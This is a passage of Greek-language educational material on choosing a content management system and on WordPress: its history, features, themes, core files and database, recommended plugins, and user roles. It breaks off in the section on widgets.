Η τελική επιλογή CMS Οι webdevelopers, όσον αφορά τα συστήματα διαχείρισης περιεχομένου πάντα έρχονταν αντιμέτωποι με το δίλημμα να αγοράσουν ή να φτιάξουν από το μηδέν. Να αγοράσουν ένα εμπορικό CMS ή να φτιάξουν το δικό τους βασισμένο σε ένα σύστημα διαχείρισης περιεχομένου τύπου ανοιχτού κώδικα. Παλαιότερα, αν ένας πελάτης ήθελε ένα CMS και δεν είχε τα χρήματα για να αγοράσει ένα εμπορικό, οι developers θα του πουλούσαν ένα «πακέτο συντήρησης», δηλαδή έναν HTML

coder που θα έκανε τις αλλαγές στο site ‘χειροποίητα’ σε τακτά χρονικά διαστήματα. Ήταν φθηνότερη λύση σε σχέση με την αγορά μιας άδειας CMS. Τα CMS στις μέρες μας, είναι ένα θεμελιώδες μέρος της σύγχρονης ανάπτυξης ιστοσελίδων. Η απίστευτη αύξηση στη χρήση τους έχει να κάνει κυρίως με τη διαθεσιμότητα εργαλείων υψηλής ποιότητας και σχετικά χαμηλής τιμής. Αρκετές εμπορικές CMS εφαρμογές είναι διαθέσιμες σε ένα πιο λογικό κόστος σε σχέση με παλιά. Επιπλέον, ένας ακόμα μεγαλύτερος αριθμός λύσεων ανοιχτού κώδικα είναι διαθέσιμος. Όπως προαναφέρθηκε, η αγορά ενός CMS προσφέρει σημαντικά πλεονεκτήματα όπως δυνατή υποστήριξη, ασφάλεια καθώς επίσης πιθανότατα μπορεί να καλύπτει ακριβώς τις ανάγκες εκείνου που θα το αγοράσει, κάνοντας έτσι την υλοποίησή του πολύ πιο γρήγορη συγκριτικά με ένα CMS ανοιχτού κώδικα. Αν ο πελάτης έχει τη δυνατότητα να αγοράσει το κατάλληλο εμπορικό CMS σύμφωνα με τις ανάγκες του, αυτόματα έχει επιλέξει την πιο ασφαλέστερη λύση για τον ίδιο. Ένα είναι το δυνατό επιχείρημα εναντίον της αγοράς ενός CMS: το κόστος. Τα εμπορικά CMS καμία φορά κοστίζουν πάρα πολύ, και τα έξοδά της παραμετροποίησης/επέκτασής τους μπορεί να είναι ακόμα υψηλότερα. Αυτός είναι και ο βασικός λόγος που πολλοί χρήστες επιλέγουν να δοκιμάσουν μια λύση ανοιχτού κώδικα. Επίσης, επειδή καθώς καταλαβαίνουμε και από την ονομασία, ο κώδικας είναι ανοιχτός, οι ευκαιρίες για παραμετροποίηση είναι πολύ περισσότερες από ένα εμπορικό CMS. Αναλόγως τις ανάγκες του καθενός, υπάρχει μεγάλη πιθανότητα ένα CMS ανοιχτού κώδικα να καλύψει πλήρως όλες τις απαιτήσεις του. Τα επιχειρήματα εναντίον της υλοποίησης ενός CMS ανοιχτού κώδικα είναι αρκετά, αλλά συνοψίζονται σε ένα κεντρικό παράγοντα, ο οποίος είναι η αβεβαιότητα. Η υποστήριξη και η εκπαίδευση ενός χρήση είναι βασισμένες στη δουλειά εθελοντών developers. Ως εκ τούτου, δεν υπάρχει κάποιο όνομα εταιρείας ή τμήμα εξυπηρέτησης πελατών για να προσφέρουν σταθερότητα και ασφάλεια, που σημαίνει ότι δεν υπάρχει άμεση και εγγυημένη βοήθεια στον χρήστη Προσαρμοσμένο CMS βασισμένο σε ένα πλαίσιο ανοιχτού κώδικα Ένας webdeveloper θέλει να δημιουργήσει ένα προσαρμοσμένο CMS για τον πελάτη. Η παραμετροποίηση ενός ‘νέου’ CMS βασισμένο σε ένα ήδη υπάρχον πλαίσιο ανοικτού κώδικα μπορεί να γεφυρώσει το χάσμα μεταξύ ενός ‘αγνού’ CMS ανοιχτού κώδικα και ενός εμπορικού. Για παράδειγμα,το “ZopeContentManagement ”, είναι ένα στιβαρό πλαίσιο διαχείρισης περιεχομένου το οποίο δίνει τη βάση για παραμετροποίηση από τον καθένα, σύμφωνα με τις μοναδικές απαιτήσεις του πελάτη. Συνοψίζοντας, μπορούμε να πούμε ότι οι παράγοντες που παίζουν καθοριστικό ρόλο στην επιλογή του είδους ενός CMS είναι οι εξής:

• Κόστος • Χρονοδιάγραμμα • Εκπαίδευση, εγχειρίδια χρήσης • Υποστήριξη • Δυνατότητα Προσαρμογής

Εκπαιδευτική Υποενότητα 6.4 Wordpress Το Wordpress είναι ένα ελεύθερο λογισμικό ανοιχτού κώδικα, γραμμένο σε Php και MySQL. Συχνά τροποποιείται για χρήση ως Σύστημα Διαχείρισης Περιεχομένου (CMS). Έχει πολλές δυνατότητες, συμπεριλαμβανομένων μιας αρχιτεκτονικής για πρόσθετες λειτουργίες, και ενός συστήματος προτύπων. Το b2/cafelog, πιο γνωστό απλά ως b2 ή cafelog, ήταν ο πρόγονος του Wordpress. Το b2/cafelog εκτιμάται ότι χρησιμοποιούνταν σε περίπου 2.000 ιστολόγια μέχρι τον Μάιο του 2003. Ήταν γραμμένο σε PHP, για χρήση με την MySQL, από τον MichelValdrighi, ο οποίος είναι τώρα από τους προγραμματιστές που συνεισφέρουν στο Wordpress. Παρότι το Wordpress είναι επίσημα ο διάδοχός του, ένα ακόμα έργο, το b2evolution, είναι επίσης σε ενεργή εξέλιξη και ανάπτυξη. Το Wordpress πρωτοεμφανίστηκε το 2003 ως μια κοινή προσπάθεια του MattMullenweg και του MikeLittle να δημιουργήσουν μια παραλλαγή (fork) του b2. Το όνομα Wordpress το πρότεινε η ChristineSelleck, μια φίλη του Mullenweg. Το 2004, οι όροι της άδειας χρήσης του ανταγωνιστικού λογισμικού MovableType άλλαξαν από την SixApart, και πολλοί από τους χρήστες του, με αρκετή επιρροή, μετέβηκαν στο Wordpress. Μέχρι τον Οκτώβριο του 2009, η Αναφορά μεριδίου αγοράς για τα Συστήματα διαχείρισης περιεχομένου Ανοικτού Κώδικα του 2009 είχε συμπεράνει ότι το Wordpress ήταν το δυνατότερο όνομα στα συστήματα διαχείρισης περιεχομένου ανοικτού κώδικα. Το Wordpress κέρδισε τα εξής βραβεία: • Το 2007, το Wordpress κέρδισε ένα βραβείο για Ανοικτού κώδικα ΣΔΠ από την Packt. • Το 2009, κέρδισε ξανά το ίδιο βραβείο. • Το 2010, το βραβείο «HallofFame» στην κατηγορία ΣΔΠ στα Βραβεία Ανοικτού Κώδικα.

Αφαίρεση οπτικών θεμάτων (themes) με διαφημίσεις

Στις 10 Ιουλίου του 2007, μετά από μια συζήτηση στο φόρουμ ιδεών του Wordpress και μια δημοσίευση του MarkGhosh στο ιστολόγιo του WeblogToolsCollection, ο MattMullenweg ανακοίνωσε ότι το επίσημο ευρετήριο οπτικών θεμάτων του Wordpress στη διεύθυνση http://themes.wordpress.net δεν θα φιλοξενούσε πλέον θέματα τα οποία θα περιείχαν διαφημιστικούς συνδέσμους. Παρότι αυτή η κίνηση γνώρισε κριτική από σχεδιαστές και χρήστες τέτοιων θεμάτων, ευοδώθηκε από τους χρήστες του Wordpress οι οποίοι θεωρούσαν αυτά τα θέματα ως spam. Το επίσημο ευρετήριο οπτικών θεμάτων του Wordpress σταμάτησε να δέχεται καινούρια θέματα, συμπεριλαμβανομένων και εκείνων χωρίς διαφημιστικούς συνδέσμους, σχεδόν αμέσως μετά από αυτή την ανακοίνωση. Υπάρχουν ακόμα διαθέσιμα τέτοια θέματα από άλλες πηγές, καθώς και ελεύθερα ή δωρεάν θέματα στα οποία τρίτοι έχουν προσθέσει διαφημιστικούς συνδέσμους. Στις 18 Ιουλίου του 2008, άνοιξε το καινούριο ευρετήριο οπτικών θεμάτων στο http://wordpress.org/extend/themes/. Έμοιαζε οπτικά με το ευρετήριο πρόσθετων λειτουργιών και κάθε οπτικό θέμα που υποβάλλεται, εξετάζεται πρώτα αυτόματα από ένα λογισμικό, και μετά από έναν άνθρωπο. Στις 12 Δεκεμβρίου του 2008, περισσότερα από 200 οπτικά θέματα αφαιρέθηκαν από το ευρετήριο οπτικών θεμάτων του Wordpress καθώς δεν ήταν συμβατά με την απαίτηση για χρήση της άδειας GPL. Σήμερα, επιτρέπεται η αναφορά στο όνομα του δημιουργού του κάθε θέματος μέσα στις σελίδες του θέματος, αλλά η επίσημη πολιτική δεν επιτρέπει χορηγίες ή συνδέσμους προς ιστότοπους οι οποίοι διανέμουν οπτικά θέματα ασύμβατα με την GPL. Τα ασύμβατα με GPL θέματα φιλοξενούνται πλέον αλλού.

Δυνατότητες του Wordpress Η παρακάτω λίστα περιλαμβάνει κάποια από τα κύρια χαρακτηριστικά και δυνατότητες του Wordpress. Εντούτοις, υπάρχουν κυριολεκτικά εκατοντάδες πρόσθετα (plugins) που επεκτείνουν τις δυνατότητες του, επομένως η λειτουργικότητα είναι σχεδόν άπειρη. Επίσης, έχει κανείς την ελευθερία να τροποποιήσει τον κώδικα όπως επιθυμεί χωρίς κάποιο επιπλέον κόστος. Πλήρης συμμόρφωση με τα πρότυπα: Κάθε κομμάτι κώδικα συμμορφώνεται πλήρως με τα πρότυπα του W3C, έναν διεθνή οργανισμό ανάπτυξης κανόνων και προτύπων για θέματα που αφορούν την δημιουργία ιστοσελίδων. Αυτό είναι σημαντικό, όχι μόνο για τη

διαδραστικότητα των σημερινών browser, αλλά και για την προώθηση συμβατότητας των εργαλείων για τις επόμενες γενιές. Δε χρειάζεται «ανοικοδόμηση» : Οποιεσδήποτε τυχόν αλλαγές συμβούν κατά την αλλαγή θεμάτων (templates) ή εισαγωγή δεδομένων, μπορούν να γίνουν εύκολα χωρίς την ‘ανοικοδόμηση’ των στατικών σελίδων. Οι σελίδες στο Wordpress: Οι σελίδες επιτρέπουν σε κάποιον να διαχειριστεί το περιεχόμενο (εντός και εκτός ιστολογίου) εύκολα, ώστε για παράδειγμα να έχει κανείς μια στατική σελίδα την οποία μπορεί να διαχειριστεί μέσω του Wordpress. Τα θέματα στο Wordpress : Τα θέματα μπορούν να βοηθήσουν από την σχεδίαση ενός απλού ιστολογίου μέχρι μιας σύνθετης ιστοσελίδας. Μπορεί κανείς να έχει πολλά θέματα με τελείως διαφορετικό στυλ και να αλλάξει με ένα κλικ. Σχόλια: Οι επισκέπτες μιας ιστοσελίδας μπορούν να αφήνουν σχόλια σε ξεχωριστές αναρτήσεις, στις οποίες μπορεί ο διαχειριστής να τα ενεργοποιήσει ή να απενεργοποιήσει. Προστασία από spam: Το Wordpress περιέχει δυνατά εργαλεία όπως μια ενσωματωμένη «μαύρη λίστα» και έναν μηχανισμό ελέγχου και διαχείρισης σχολίων spam στην ιστοσελίδα, καθώς και μια σωρεία από plugins που αυξάνουν αυτή τη δυνατότητα. Εγγραφή των χρηστών: Το Wordpress έχει ένα ενσωματωμένο σύστημα εγγραφής που επιτρέπει στους χρήστες να εγγράφονται στην ιστοσελίδα και να διατηρούν τα προφίλ τους. Ο διαχειριστής μπορεί επιλεκτικά να μην επιτρέψει σχόλια από μη εγγεγραμμένους. Προστασία κωδικών: Μπορεί κανείς να βάλει κωδικό σε ξεχωριστές αναρτήσεις ώστε να μην είναι ορατές στο κοινό. Υπάρχει επίσης η δυνατότητα ιδιωτικών αναρτήσεων οι οποίες μπορούν μόνο να είναι ορατές στο συγγραφέα τους. Εύκολη εγκατάσταση & αναβάθμιση: Αν ακολουθήσει μια φορά κανείς τα βήματα για την εγκατάσταση και την αναβάθμιση του Wordpress, μετά η διαδικασία θα είναι πανεύκολη. Διεπαφή XML: Το Wordpress αυτή τη στιγμή υποστηρίζει μια εκτεταμένη έκδοση της προγραμματιστικής διεπαφής (API) του Blogger, MetaWeblog και MoveableType. Τυπογραφικές Διευκολύνσεις: Το Wordpress χρησιμοποιεί το μηχανισμό “Texturize” ώστε να μετατρέψει

ένα

κομμάτι

ASCII

σε

τυπογραφικά

συμπεριλαμβανομένων των μαθηματικών συμβόλων κλπ.

σωστά

τμήματα

XHTML

Έξυπνη μορφοποίηση κειμένου: Πολλά συστήματα διαχείρισης περιεχομένου, αν κανείς έπρεπε να γράψει ένα τμήμα HTML, ‘χαλάνε’ τη μορφοποίηση βάζοντας σημάνσεις μετά από κάθε νέα γραμμή χωρίς καμιά διάκριση. Αυτό με το Wordpress μπορεί να αποφευχθεί σε σημεία που ήδη ο προγραμματιστής έχει βάλει αλλαγές γραμμών και δικές του σημάνσεις, χωρίς να ανησυχεί μη χαλάσει ο κώδικας. Πολλαπλοί Συγγραφείς: Το σύστημα των χρηστών στο Wordpress επιτρέπει μέχρι 10 επίπεδα χρηστών με διαφορετικά και τροποποιούμενα δικαιώματα σε ότι αφορά τη δημοσίευση, την τροποποίηση, τις επιλογές, κ.ά. «Κάνετε πολλά PING»: Το Wordpress υποστηρίζει το μηχανισμό «PING-O- Matic», που σημαίνει ισχυρή ‘έκθεση’ της ιστοσελίδας στις μηχανές αναζήτησης.

Ένα πρότυπο(template), πολλές σελίδες Αν είστε web designer, πιθανώς να είστε ήδη κάπως εξοικειωμένοι με τα Cascading Style Sheets (CSS). Ένα ενιαίο αρχείο CSS ελέγχει το σχεδιασμό για πολλές σελίδες. Έτσι, αν μια μέρα αποφασίσετε ότι το σκούρο κόκκινο χρώμα στο φόντο σας θα πρέπει να είναι λίγο πιο ανοιχτό, μπορείτε να κάνετε μία μικρή επεξεργασία στα CSS σας, για να γίνει η αλλαγή που επιθυμείται στον ιστότοπο σας (σε αντίθεση με το άνοιγμα εκατοντάδων σελίδων προκειμένου να γίνει η αλλαγή σε κάθε μία ξεχωριστά). Αυτό συμβαίνει με τα CMS όπως το WordPress, αλλά εκτός από το σχεδιασμό από απόσταση, μπορούμε να ελέγχουμε και το περιεχόμενο. Με ένα πρότυπο σύστημα όπως WordPress, μπορείτε να κάνετε μια αλλαγή στο πρότυπο και να αλλάξει τον τρόπο που εμφανίζονται όλες οι σελίδες που χρησιμοποιούν αυτό το πρότυπο. Ουσιαστικά, ένα θέμα στο Wordpress είναι το ‘δέρμα’ του ιστολογίου, δηλαδή το πώς είναι εμφανισιακά. Ωστόσο δεν είναι μόνο αυτό, διότι κάτι τέτοιο υπονοεί ότι μόνο ο σχεδιασμός αλλάζει. Τα θέματα παρέχουν περισσότερο έλεγχο σχετικά με την όψη, την εμφάνιση και την παρουσίαση του υλικού της ιστοσελίδας μας. Ένα θέμα είναι μια συλλογή από αρχεία τα οποία συνεργάζονται ώστε να παράγουν μια γραφική επιφάνεια με ένα βαθύτερο ενοποιημένο σχεδιασμό. Τα αρχεία αυτά ονομάζονται «αρχεία περιγράμματος» (template files). Ένα θέμα αλλάζει τον τρόπο με τον οποίο προβάλλεται μια ιστοσελίδα χωρίς να αλλάξει όμως το λογισμικό που υπάρχει από κάτω. Τα θέματα μπορεί να περιλαμβάνουν αρχεία εικόνας (*,jpeg, *.gif, κλπ), css αρχεία και απαραίτητα αρχεία κώδικα (*.php). Τα θέματα είναι διαθέσιμα για κατέβασμα από την επίσημη ιστοσελίδα του συστήματος Wordpress.

Δυνατό, ευέλικτο και επεκτάσιμο Μπορείτε να βεβαιώσετε τη δύναμη και την ευελιξία του template πολύ εύκολα, διότι το WordPress σας επιτρέπει να αλλάξετε γρήγορα ολόκληρο το template που χρησιμοποιείτε με λίγα μόνο κλικ. Βρείτε ένα νέο θέμα που σας αρέσει κοιτάζοντας βιαστικά στο internet και στη συνέχεια μπορείτε να το φορτώσετε στον ιστότοπο σας και να το ενεργοποιήσετε σε δευτερόλεπτα. Όλο το περιεχόμενο σας στη συνέχεια θα εισρεύσει στο νέο template αυτόματα και μαγικά. Αλλά θυμηθείτε να μην αλλάζετε το template σας πάρα πολύ συχνά για να μην χάνονται και μπερδεύονται οι επισκέπτες σας. Επίσης, τα ίδια πράγματα που κάνουν τα WordPress templates ευέλικτα τα καταστούν και επεκτάσιμα. Για παράδειγμα, προσθέτοντας νέο περιεχόμενο στην πλαϊνή μπάρα (sidebar) σας είναι τόσο εύκολο όσο το άνοιγμα του αρχείου sidebar.php και να προσθέσετε από μόνοι σας μια νέα. Θα μπορούσε μάλιστα το template σας να έχει έτοιμο widget, που σημαίνει ότι μπορείτε να προσθέσετε, να αλλάξετε ή να αφαιρέσετε περιεχόμενο και λειτουργικότητα από την sidebar (ή οποιαδήποτε άλλη περιοχή widget) χωρίς να πειράξετε κώδικα καθόλου. Συνιστώσες κλειδιά ενός WordPress Site Υπάρχουν μερικά πράγματα που χρειάζονται αρχικά εξήγηση πριν φτάσουμε στα πολύ βαθύτερα. Ελλείψει ενός καλύτερου όρου, θα τα αποκαλούμε συνιστώσες. Οι συνιστώσες αντιπροσωπεύουν τα κύρια μέρη ενός ιστότοπου WordPress, που περιλαμβάνει τα ίδια τα αρχεία που χρησιμοποιεί και τη βάση δεδομένων που στεγάζει όλα τα δεδομένα. Μαζί, αυτά τα δύο συστατικά, τα αρχεία και η βάση δεδομένων, δημιουργούν την ιστοσελίδα για τον ιστότοπο σας. Μόλις δημιουργούνται, υπάρχουν δύο είδη για αυτές τις ιστοσελίδες, η περιοχή Admin που μόνο ο ιδιοκτήτης μπορεί να δει και οι δημόσιες σελίδες που μπορούν να τις δει όλος ο κόσμος. Αρχεία του πυρήνα WordPress Όταν μπορείτε να μεταβείτε στο WordPress.org και να κατεβάσετε ένα αντίγραφο του WordPress, στη συνέχεια μπορείτε να μεταφορτώσετε τα αρχεία πυρήνα WordPress. Είναι ένας μεγάλος φάκελος με αρχεία και μερικούς υποφακέλους με ακόμα περισσότερα αρχεία. Μόλις κατεβάσετε και αποσυμπιέσετε το πακέτο WordPress, θα παρατηρήσετε ότι τα περισσότερα από τα ονόματα αρχείων και φακέλων που αρχίζουν με ένα πρόθεμα «wp- ». Τα αρχεία πυρήνα WordPress είναι αυτά που το κάνουν ένα πλήρες λογισμικό πακέτο. Τα

περισσότερα από αυτά τα αρχεία δεν θα χρειαστεί να τα πειράξετε ποτέ. Μερικά από αυτά θα τα τροποποιήσετε πολύ σπάνια, ενώ ένα ορισμένο υποσύνολο αυτών των αρχείων θα τα επεξεργαστείτε όταν θέλετε να διαμορφώσετε το template σας . Βάση δεδομένων WordPress Για να εγκατασταθεί και να λειτουργήσει το WordPress, θα πρέπει να συσταθεί και να ρυθμίσετε μια βάση δεδομένων MySQL. Τα αρχεία πυρήνα WordPress δεν περιέχουν πραγματικά το περιεχόμενο του δικτυακού σας τόπου, παρέχουν απλώς την λειτουργικότητα που απαιτείται για να εμφανίσετε το περιεχόμενο που αποθηκεύεται στη βάση δεδομένων. Όλα τα posts, οι ρυθμίσεις των plugins και οι επιλογές των ρυθμίσεων του ιστότοπου περιέχονται στη βάση δεδομένων. Αυτό αποτελεί κομμάτι μιας αφηρημένης έννοιας, δεδομένου ότι η βάση δεδομένων είναι κάτι που μπορεί να μη δείτε ποτέ. Δεν είναι καν ένα «αρχείο» στο διακομιστή σας που θα μπορούσατε να το δείτε και να το κατεβάσετε (εκτός εάν πρόκειται για ένα αντίγραφο ασφαλείας). Παρά το γεγονός ότι αυτό είναι μια αόριστη και αφηρημένη οντότητα, η βάση δεδομένων είναι αναμφισβήτητα το πιο σημαντικό μέρος του ιστότοπου στο WordPress. Όλες τις θέσεις, σελίδες, αναθεωρήσεις, σχόλια, χρήστες και όλα τα άλλα περιεχόμενα και ρυθμίσεις κατοικούν αποκλειστικά μέσα στη βάση δεδομένων. Ακόμα κι αν είχατε μια πλήρη κατάρρευση του διακομιστή και χάσετε τα πάντα, με ένα αντίγραφο ασφαλείας της βάσης δεδομένων μπορούμε να τα επαναφέρουμε όλα. Θα μπορούσαμε να επανεγκατάστησουμε το WordPress και να το επαναφέρουμε στην κατάσταση που προέκυψε το πρόβλημα. Από την άλλη πλευρά, αν έχετε χάσει, επίσης, τη βάση δεδομένων, θα έχετε χάσει κάθε ενιαίο κομμάτι του περιεχομένου στον ιστότοπο σας για πάντα. Με άλλα λόγια, μη χάσετε την βάση δεδομένων σας. Back End Το back end του WordPress, γνωστό και ως περιοχή Admin, είναι το μέρος του WordPress που παρατηρείται μόνο από τους διαχειριστές και τους συντάκτες του ιστοτόπου. Μπορούμε να δούμε αυτόν τον τομέα άμεσα μέσω ενός web browser και χρησιμοποιείται για να δημιουργήσουμε και να ελέγξουμε όλα τα περιεχόμενα. Είναι ουσιαστικά μια μυστική περιοχή όπου οι κανονικοί επισκέπτες δε βλέπουν ποτέ και πιθανόν δεν νοιάζονται για αυτή. Front End Το τελικό αποτέλεσμα αυτών των διαφορετικών συνιστωσών WordPress είναι το τμήμα του ιστοτόπου που οι επισκέπτες πραγματικά να βλέπουν και ενδιαφέρονται, το front end. Το front end κομμάτι του WordPress αποτελείται από όλες τις σελίδες που είναι διαθέσιμες στο

κοινό. Θέσεις, σελίδες, αρχεία, τα πάντα. Οπότε ας τα βάλουμε μαζί και να δούμε πώς παράγεται το front end. Πρώτον, το περιεχόμενο που δημιουργείτε στην περιοχή Admin αποθηκεύεται στη βάση δεδομένων. Στη συνέχεια, τα αρχεία πυρήνα αλληλεπιδρούν με τη βάση δεδομένων για να καταστήσει την ιστοσελίδα ορατή στους επισκέπτες Προτεινόμενα Plugins Τα πρόσθετα είναι σπουδαία εργαλεία τα οποία επεκτείνουν τη λειτουργικότητα του Wordpress. Ο πυρήνας του Wordpress είναι έτσι σχεδιασμένος ώστε να ενισχύει την ευελιξία και να ελαχιστοποιεί την άχρηστη παραγωγή κώδικα. Ένα πρόσθετο προσφέρει επιπλέον λειτουργίες και χαρακτηριστικά ώστε ο developer να ‘υφάνει’ την ιστοσελίδα σύμφωνα με τις ανάγκες του. Πολλά πρόσθετα είναι δωρεάν και μπορεί κανείς να τα βρει σε πολλές τοποθεσίες, εντούτοις είναι πλήρως αρχειοθετημένα και ταξινομημένα στην επίσημη ιστοσελίδα. Ο χρήστης μπορεί να κάνει μια αναζήτηση με κατάλληλες λέξεις-κλειδιά και να εμφανίσει τα αποτελέσματα σύμφωνα με διάφορα φίλτρα, όπως σύμφωνα με τη δημοτικότητα ενός προσθέτου, το πόσο ψηλά έχει βαθμολογηθεί, κλπ. Η φύση των plugins είναι ότι παρέχουν στο WordPress μια συμπληρωματική λειτουργικότητα που δεν μπορεί να απαιτηθεί από την κάθε ιστοσελίδα. Έτσι οι δημιουργοί του, αντί να προσπαθούν να δημιουργήσουν ένα εκατομμύριο χαρακτηριστικά στον πυρήνα WordPress, έχουν αναθέσει τη συγκεκριμένη λειτουργικότητα ανάπτυξης plugin στην ακμάζουσα κοινότητα του WordPress. Προγραμματιστές βλέπουν την ανάγκη (ή την ευκαιρία), δημιουργούν ένα plugin και το αφήνουν ελεύθερο προς τους χρήστες. Αν το plugin είναι αρκετά δημοφιλής και έχει νόημα να ενσωματωθεί στον πυρήνα WordPress, τότε κάποια στιγμή αυτό θα συμβεί. Ακόμα κι έτσι, εξακολουθούν να υπάρχουν μια σειρά από κορυφαία plugins που, για οποιοδήποτε λόγο, δεν έχουν ακόμη ενσωματωθεί πάνω στον πυρήνα. Στη συνέχεια ακολουθούν μερικά από τα καλύτερα και ιδιαίτερα χρήσιμα για σχεδόν οποιοδήποτε WordPress ιστότοπο. Google XML Sitemaps Αυτό το plugin θα δημιουργήσει ένα συμβατό με τη Google XML-Sitemap με τον ιστότοπο του WordPress. Υποστηρίζει όλες τις σελίδες που δημιουργούνται με το WordPress. Κάθε φορά που μπορείτε να επεξεργαστείτε ή να δημιουργήσετε ένα post, το sitemap θα ενημερωθεί σε όλες τις μεγάλες μηχανές αναζήτησης που υποστηρίζουν το πρωτόκολλο sitemap, όπως Google, Yahoo!, MSN/Bing και Ask.com. Αυτό είναι ένα εξαιρετικά εύκολο plugin στην

ενεργοποίηση του που μπορεί να σας βοηθήσει, ώστε οι μηχανές αναζήτησης να βρουν κάθε τελευταία γωνία της ιστοσελίδας σας. Database Manager Ισχυρή διαχείριση της βάσης δεδομένων εντός του χώρου του WordPress Admin. Η διαχείριση της βάσης δεδομένων καθιστά πιο εύκολα λειτουργίες όπως του backup, τη βελτιστοποίηση, επισκευή και την εκτέλεση διάφορων άλλων εργασιών διαχείρισης στη βάση δεδομένων. W3 Total Cache Ενισχύει την απόδοση της ιστοσελίδας (δηλαδή, πόσο γρήγορα φορτώνει) συνδυάζοντας μια ποικιλία από τεχνικές: αρχείο προσωρινής αποθήκευσης, προσωρινή αποθήκευση του ερωτήματος δεδομένων, αρχεία minifying/συμπίεσης/συνδυασμού, CDN ολοκλήρωσης και άλλα. WP-DBManager Δεν υπάρχει τίποτα πιο σημαντικό και ζωτικής σημασίας για την ιστοσελίδα WordPress τροφοδοτείται από τη μυστηριώδη βάση δεδομένων που ζει στο διακομιστή σας. Αν καταστραφεί ολόκληρος ο διακομιστής, αλλά είχατε ένα πρόσφατο αντίγραφο ασφαλείας της βάσης δεδομένων σας, τότε όλα είναι καλά. Ανάμεσα σε άλλα χρήσιμα χαρακτηριστικά γνωρίσματα όπως on-demand αντίγραφα ασφαλείας και βελτιστοποίηση της βάσης δεδομένων, μπορείτε να έχετε αυτό το plugin να σας αποστέλνει με email τη βάση δεδομένων σε καθορισμένα χρονικά διαστήματα. All in One SEO Pack Το νούμερο ένα σημείο είναι το All-in-One SEO Pack, γιατί αυτό δημιουργεί αυτόματα μια κατάλληλη μετα-ετικέτα περιγραφής για κάθε θέση των σελίδων με βάση το περιεχόμενο τους. Αυτά που δημιουργούνται αυτόματα μετα περιγραφές ελέγχουν τι εμφανίζεται ως το περιγραφικό κείμενο στα αποτελέσματα των μηχανών αναζήτησης. Όπως μπορείτε να φανταστείτε, αυτές οι περιγραφές είναι πολύ σημαντικό, επειδή βοηθούν τους χρήστες να αποφασίσουν που να κάνουν κλικ για να συνδεθούν. Εκτός από την παροχή της αυτοματοποιημένης λειτουργίας, το plugin αυτό μας επιτρέπει επίσης να παρακάμπτουμε τις προεπιλεγμένες ρυθμίσεις και ατομικά τον έλεγχο των περιγραφών meta, θέση τίτλος, λέξειςκλειδιά για κάθε θέση και σελίδα στον ιστότοπο μας. Akismet

Ελέγχει τα σχόλια ώστε να δει ο διαχειριστής ποια μοιάζουν με spam και ποια όχι. Υπάρχει δυνατότητα διαχείρισης των spam σχολίων, τα οποία αυτόματα διαγράφονται μετά από το πέρας των δεκαπέντε ημερών.

HelloDolly Μπορεί να πει κανείς ότι το πρόσθετο αυτό συμβολίζει την ελπίδα και τον ενθουσιασμό μιας ολόκληρης γενιάς συνοψισμένο σε ένα τραγούδι δυο λέξεων, το οποίο δεν είναι άλλο από το δημοφιλές “HelloDolly” του LouisArmostrong. Είναι το πρώτο επίσημο πρόσθετο που δημιουργήθηκε. Όταν είναι ενεργό, εμφανίζεται ένας τυχαίος στίχος του τραγουδιού πάνω δεξιά στον Πίνακα Ελέγχου. Χρήστες, Ρόλοι και Δικαιώματα Το WordPress παρέχει εξαιρετική υποστήριξη για πολλούς χρήστες. Οποιοδήποτε blog που υποστηρίζεται από το WordPress είναι σε θέση να υποστηρίζει ένα ευρύ φάσμα διαφορετικών χρηστών, ικανό να εκτελεί ένα διαφορετικό σύνολο των ρόλων. Ο όρος «χρήστες» αναφέρεται σε καθέναν που μπορεί να καταχωρηθεί στον ιστότοπο μας. Αυτό που πραγματικά καθορίζει ένα χρήστη, ωστόσο, είναι οι διαφορετικές λειτουργίες που τους επιτρέπεται να κάνουν. Τα πράγματα που μπορούν να κάνουν οι χρήστες ονομάζονται «ρόλοι» τα οποία εξ’ ορισμού περιλαμβάνουν τα ακόλουθα • Super Admins - Οι Super Admins είναι οι «παντοδύναμοι» χρήστες που έχουν πλήρη έλεγχο στα πάντα, αλλά υπάρχουν μόνο όταν χρησιμοποιούμε πολλές τοποθεσίες για μια ιστοσελίδα. • Administrators - Οι Administrators έχουν τα ίδια προνόμια με τους Super Admins, έχουν πλήρη πρόσβαση και έλεγχο για τα πάντα, εκτός από τη δυνατότητα να ελέγχουν πολλές ιστοσελίδες μαζί. • Editors - Οι Editors μπορούν να δημοσιεύσουν και να επεξεργασθούν τις δημοσιεύσεις και να διαχειριστoύν τα posts των άλλων. • Authors – Οι Authors μπορούν να δημοσιεύσουν και να επεξεργαστούν τα δικά τους posts και όχι των άλλων.

• Contributors – Οι Contributors μπορούν να γράψουν και να διαχειριστούν τα δικά τους posts, αλλά δεν μπορούν να τα δημοσιεύσουν. • Subscribers – Οι Subscribers είναι επισκέπτες που έχουν εγγραφεί στην ιστοσελίδα μας. Τα δικαιώματα τους δεν διαφέρουν από αυτά των επισκεπτών, αλλά δείχνουν μεγαλύτερο ενδιαφέρον για την ιστοσελίδα μας γιατί έχουν εγγραφεί σε αυτή. Σε κάθε ένα από αυτούς τους ρόλους μπορεί να αποδοθούν οποιαδήποτε συγκεκριμένα δικαιώματα, ή «δυνατότητες». Όταν εφαρμόζεται σε ένα συγκεκριμένο ρόλο, δυνατότητες που επιτρέπουν σε όλους τους χρήστες των εν λόγω ιδιαίτερο ρόλο τότε μπορούμε να κάνουμε πράγματα, όπως να δημοσιεύσουμε περιεχόμενο, να επεξεργασθούμε τα posts, να διαχειριζόμαστε σχόλια και ούτω καθεξής. Δεν υπάρχει κανένα όριο στο οποίο μπορείτε να ενεργοποιήσετε δυνατότητες για ένα ιδιαίτερο ρόλο. Για παράδειγμα, θα μπορούσατε να δώσετε στους Subscribers περισσότερες δυνατότητες από τους διαχειριστές. Ολόκληρο το σύστημα διαχείρισης χρηστών είναι εξαιρετικά ευέλικτο και μας επιτρέπει να προσαρμόζουμε και να το διαμορφώνουμε κατά τη διάρκεια εγκατάστασης του WordPress, ακόμη και για τις πιο πολύπλοκες εφαρμογές CMS. Η ταυτόχρονη λειτουργία είναι ένα βασικό συστατικό των δυνατοτήτων CMS WordPress και μπορεί να ενισχυθεί περαιτέρω με μια ποικιλία των plugins. Widgets Δεν υπάρχει αντίστοιχη ονομασία στα ελληνικά για τα widgets. Μπορούμε να τα περιγράψουμε ως πολύ μικρές εφαρμογές, οι οποίες ενίοτε αποτελούνται από μια ή δυο γραμμές κώδικα. Τα widgets στο Wordpress προσθέτουν συγκεκριμένο περιεχόμενο συνήθως στις 